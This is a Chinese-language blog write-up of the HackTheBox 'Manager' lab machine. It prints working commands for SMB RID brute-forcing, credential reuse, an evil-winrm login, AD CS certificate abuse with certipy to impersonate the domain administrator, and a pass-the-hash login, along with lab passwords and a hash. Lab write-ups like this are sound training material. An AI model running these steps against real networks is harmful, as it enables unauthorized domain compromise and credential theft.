HackTheBox Manager WriteUP
题目
解题
Get User
端口扫描
域名枚举
因为开着DNS服务,可以很方便的先收集一波子域名:
dnsenum --dnsserver 10.10.11.236 --enum -p 0 -s 0 -o ~/HackTheBox/Manager/subdomain.txt -f /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt manager.htb
获取到主机名:dc01.manager.htb
SMB用户名枚举/弱口令
crackmapexec smb manager.htb -u "anonymous" -p "" --rid-brute
operator
账户存在弱口令:
MSSQL弱口令
使用此密码尝试登录其他服务,登录MSSQL成功:
读取系统目录,发现网站备份文件:
Web备份文件
审计网站源码,发现配置文件中的账号密码:
<?xml version="1.0" encoding="UTF-8"?>
<ldap-conf xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<server>
<host>dc01.manager.htb</host>
<open-port enabled="true">389</open-port>
<secure-port enabled="false">0</secure-port>
<search-base>dc=manager,dc=htb</search-base>
<server-type>microsoft</server-type>
<access-user>
<user>raven@manager.htb</user>
<password>R4v3nBe5tD3veloP3r!123</password>
</access-user>
<uid-attribute>cn</uid-attribute>
</server>
<search type="full">
<dir-list>
<dir>cn=Operator1,CN=users,dc=manager,dc=htb</dir>
</dir-list>
</search>
</ldap-conf>
使用此evil-winrm
登录,获得user.txt:
$ evil-winrm -u raven -p 'R4v3nBe5tD3veloP3r!123' -i manager.htb
Get Root
收集用户名
Raven用户下可以看到完整的用户列表(crackmapexec默认只遍历RID1-4000的账户):
*Evil-WinRM* PS C:\Users\Raven\Documents> Get-LocalUser
Name Enabled Description
---- ------- -----------
Administrator True Built-in account for administering the computer/domain
Guest True Built-in account for guest access to the computer/domain
krbtgt False Key Distribution Center Service Account
Zhong True
Cheng True
Ryan True
Raven True
JinWoo True
ChinHae True
Operator True
查看是否有AD CS服务,检查到CA Name:manager-DC01-CA
提权
利用证书配置错误,将raven提升为officer
(Certificate Manager):
certipy-ad ca -u raven@manager.htb -p 'R4v3nBe5tD3veloP3r!123' -add-officer raven -ca 'manager-DC01-CA'
可以使用 -enable-template
参数在 CA 上启用 SubCA
模板。默认情况下,SubCA
模板已启用。
certipy-ad ca -u raven@manager.htb -p 'R4v3nBe5tD3veloP3r!123' -ca 'manager-DC01-CA' -enable-template 'SubCA'
确认一下SubCA
模板成功启用了
请求基于 SubCA 模板的证书,记录下request ID
:
certipy-ad req -u raven@manager.htb -p 'R4v3nBe5tD3veloP3r!123' -ca 'manager-DC01-CA' -template SubCA -upn administrator@manager.htb -target manager.htb
使用 ca
命令和参数发出失败的 -issue-request <request ID>
证书请求,然后使用 req 命令和参数检索颁发的 -retrieve
$ certipy-ad ca -u raven@manager.htb -p 'R4v3nBe5tD3veloP3r!123' -ca 'manager-DC01-CA' -issue-request 45
$ certipy-ad req -u raven@manager.htb -p 'R4v3nBe5tD3veloP3r!123' -ca 'manager-DC01-CA' -target manager.htb -retrieve 45
验证证书,提取哈希:
certipy-ad auth -pfx administrator.pfx -dc-ip 10.10.11.236 -domain manager.htb -username administrator
利用hash登录administrator账户,获得root.txt
evil-winrm -u administrator -H ae5064c2f62317332c88629e025924ef -i manager.htb
后记
前前后后忙活了一个星期,在赛季结束之前把flag提交了。中间卡住很多次,比如爆破账号密码的时候直接用了字典,没有想到把用户名加到密码表中。以及后续提权,基本是把所有收集到的信息,对照网上查到的资料,一样一样的尝试(所以完整的wp写了700多行……),最后才root。
收获颇丰,收获颇丰。
参考资料
版权声明:本博客所有文章除特殊声明外,均采用 CC BY-NC 4.0 许可协议。转载请注明出处 忘返的博客!